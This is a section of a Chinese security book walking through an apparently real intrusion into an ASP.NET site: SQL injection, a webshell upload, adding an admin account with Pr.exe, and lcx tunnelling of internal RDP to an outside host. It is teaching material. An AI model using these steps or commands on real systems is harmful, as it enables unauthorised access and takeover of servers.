- 網絡攻防實戰研究:漏洞利用與提權
- 祝烈煌
- 2896字
- 2019-11-18 15:09:39
2.10 以Public權限滲透某ASP.NET網站
數據庫用戶權限為Public的網站相對較難滲透,設置這種權限說明網站具有較高的安全意識。在通過SQL注入點獲取Public權限時,需要多方分析,嘗試用各種方法進行滲透測試。但無論如何,存在SQL注入點就是一種危險。攻擊者能夠通過SQL注入獲取網站數據庫的信息,通過這些信息再次進行滲透和提權就相對會容易一些,尤其是在獲得網站后臺管理員權限的情況下,可以通過文件包含、數據庫備份、圖片上傳、文件上傳、插入一句話木馬等來獲取WebShell。下面就以一個實際案例來分析攻擊者如何利用Public權限滲透某ASP.NET網站。
2.10.1 尋找漏洞并進行滲透測試
1.尋找SQL注入點
通過查看網站的各個頁面,尋找存在參數傳入的頁面并從中進行出錯判斷。如圖2-89所示,在傳入參數“typeid=1”后面附加“'”,使其自動爆出錯誤,通過該錯誤信息可以知道數據庫為MSSQL。

圖2-89 獲取SQL注入點
2.使用各種SQL注入工具進行信息收集和數據猜測
對于ASP.NET類型的網站,除了一些大型商業專用滲透工具外,還有一些免費的工具,例如Pangolin、Havij、Domain、HDSI及“啊D”等SQL注入工具。本次滲透過程中先后使用了Pangolin和Havij。如圖2-90所示,使用Havij 1.2免費版的測試效果并不好,未能獲取更多的信息。

圖2-90 使用Havij進行SQL注入滲透測試
技巧
·在發現SQL注入點后,一般先使用一些自動測試工具進行測試。在測試時可以依次使用多個工具進行測試,雖然這些SQL注入工具的功能大致相同,但在某些場景下,使用一些工具能夠成功,使用另一些工具就不一定能成功。
·先工具,后手工,事后進行總結,加深對滲透的理解,并收集整理有用的技巧。
3.使用Domain 3.5檢測到目標網站存在SQL注入點
打開Domain 3.5 SQL注入工具,單擊“SQL注入”→“SQL注入猜解檢測”選項,將剛才測試出錯前的正常頁面地址復制到“注入點”文本框中,然后單擊“開始檢測”按鈕,如果該注入點能夠進行SQL注入,則會在“檢測信息”區域顯示詳細信息。如圖2-91所示,得知該數據庫是MSSQL,并獲取了當前用戶及當前權限等信息。

圖2-91 檢測SQL注入點
4.猜解數據庫中的表和表中的數據
這一步是SQL注入檢測中最重要的一步,如果能夠成功,就意味著可以查看和修改數據庫中的數據。單擊“猜解表名”按鈕,猜解數據庫中一共有多少表,在本例中一共有33個表。通過查看數據庫表名稱來判斷哪個是保存了管理員用戶名和密碼的表并選中它,單擊“猜解列名”按鈕獲取表中的具體列名,然后選擇需要查看內容的列名,單擊“猜解內容”按鈕獲取其相應信息。如圖2-92所示,獲取了管理員的密碼,而且管理員的密碼是明文的!

圖2-92 獲取數據內容
5.掃描和獲取后臺地址
在Domain 3.5中單擊“管理入口掃描”來獲取管理后臺入口的具體地址。在本例中,通過Domain 3.5未能獲取管理后臺的地址,這時候就需要動用其他方法。一個比較好的方法就是利用搜索引擎,使用“site:somesite.com登錄”或者“site:somesite.com系統管理”等命令來搜索后臺地址。如圖2-93所示,獲取了后臺的詳細地址。

圖2-93 獲取后臺登錄地址
6.登錄測試和驗證
直接打開從搜索引擎中獲取的后臺地址,如果能夠正常訪問,說明該頁面可能是真正的后臺地址。如圖2-94所示,該頁面能夠正常訪問,且通過頁面信息可以判定該地址就是管理后臺地址。輸入剛才獲取的用戶名和密碼進行測試,登錄成功,如圖2-95所示。

圖2-94 后臺地址測試和驗證

圖2-95 后臺登錄成功
2.10.2 尋找、測試和獲取WebShell
1.獲取圖片上傳頁面
當使用SQL注入工具或者以手工注入方式獲得管理員的用戶名和密碼成功登錄系統后,需要查看系統信息發布等模塊,確認是否存在文件上傳部分,如果不存在,則嘗試插入一句話木馬進行后臺備份等操作。在本次滲透過程中,通過查看后臺的各個功能模塊,發現有4個信息添加模塊。在新建會員模塊中存在上傳圖片模塊,單擊鏈接進入新建會員模塊,如圖2-96所示,在圖片中直接選擇一個ASP.NET的WebShell,然后上傳。上傳成功,如圖2-97所示。

圖2-96 文件上傳模塊

圖2-97 文件上傳成功
2.查看文件上傳的真實地址
雖然頁面顯示文件上傳成功,但還需要找到文件上傳的真正地址,核對上傳的文件是否更改了后綴。而且,新建會員后,需要從前臺來查看剛才添加的效果。如圖2-98所示,找到會員列表,然后尋找最后添加的記錄。

圖2-98 通過前臺查看上傳的圖片
網站CMS系統處理新添加的記錄有兩種結果,一種是按照最新時間排序,另一種是降序,因此在翻看記錄時需要分析數據添加的規律。在本例中就是按照時間升序排序,即最早添加的最先顯示,因此需要跳轉到頁碼最大處才能看到剛才添加的記錄。如圖2-99所示,在圖片上單擊右鍵,查看圖片屬性,從而獲取該圖片的真實地址。因為上傳模塊未對上傳文件后綴等進行限制,所以上傳文件一律按照“時間+原真實上傳文件名稱”來命名。

圖2-99 獲取圖片的真實地址
3.獲取WebShell
在IE瀏覽器中打開上傳WebShell的真實地址,如圖2-100所示,輸入WebShell的密碼后,出現熟悉的ASP.NET WebShell界面。

圖2-100 成功獲得該網站的WebShell
2.10.3 嘗試提權
通過WebShell可以查看該服務器安裝程序和網站文件等,然后利用掌握的信息進行提權。在本次滲透過程中發現該服務器為內網服務器,通過防火墻映射到外網,對外僅開放了80端口,在網絡地址中未配置DNS,系統中無可提權的其他可用信息。因此,首先嘗試使用Pr進行提權。
如圖2-101所示,先將Pr程序上傳到“回收站”中,然后分別執行命令“E:\RECYCLER\pr.exe”及參數“net user temp temp2005/add”和“net localgroup administrator temp/add”。執行結果顯示為“命令成功完成”,表示Pr提權成功。

圖2-101 使用Pr提權
2.10.4 使用lcx命令轉發并登錄遠程桌面
1.查看添加的用戶
在WebShell中通過CMDShell查看剛才添加用戶的操作是否成功。如圖2-102所示,可以看到系統中已經添加了一個名為“temp”的管理員用戶。

圖2-102 查看添加的用戶
2.使用lcx命令進行端口轉發
在具有獨立IP地址的計算機上執行“lcx-listen 512008”命令,意思是監聽51端口,并將51端口映射到本機的2008端口,如圖2-103所示。

圖2-103 使用lcx進行端口監聽
在WebShell中執行“E:\RECYCLER\lcx.exe”命令,參數設置為“-slave 202.XXX.XXX.XXX 51172.30.11.813389”,意思是連接IP地址202.XXX.XXX.XXX的51端口,將服務器內網IP地址為172.30.11.81的3389端口轉發到202.XXX.XXX.XXX的51端口上,如圖2-104所示。

圖2-104 使用lcx命令進行端口轉發
3.連接遠程桌面
在監聽51端口的計算機中打開遠程終端登錄界面,然后輸入“127.0.0.1:2008”進行登錄。輸入剛才添加的temp用戶名和密碼,如圖2-105所示,成功登錄系統。

圖2-105 成功進入系統
2.10.5 總結與思考
對ASP.NET的滲透思路總結如下。
·掃描目標網站,獲取SQL注入點或者其他漏洞。掃描目標網站時可以使用一些商業掃描軟件,例如WVS、AppScan、Webinspect、JSky、極光等。通過掃描可以獲取網站程序漏洞和配置漏洞。在掃描結果中,單獨的上傳頁面、上傳組件(各種WebEditor)、網站壓縮文件、bak文件的利用是防范的重點。
·利用掃描結果進行滲透測試。
·獲取WebShell。常用的獲取WebShell的方法是上傳。通過各類Web編輯器的漏洞及某一類程序的漏洞(當然,這些漏洞的利用需要一些輔助條件)也可以獲取WebShell。某些網站在被入侵后,攻擊者會將整個網站打包,但下載完畢后未刪除打包文件,所以如果能夠成功將其下載,對于分析漏洞和獲取WebShell很有幫助。
·對服務器進行提權。對服務器提權主要是看服務器上安裝了哪些程序,然后采取相應的提權方法,例如讀取VNC密碼,讀取Radmin密碼,下載pcAnywhere密碼保存文件,利用Serv-u直接添加用戶,利用系統未安裝補丁程序進行本地提權,編寫autorun.inf病毒,通過MSSQL SA權限直接添加系統用戶,通過MySQL udf函數提權等。
·在擁有WebShell的情況下,利用LCX端口轉發實現內網突破的效果還是不錯的。在使用SQL注入工具掃描不出后臺的情況下,可以嘗試通過Google搜索來獲取后臺的真實地址。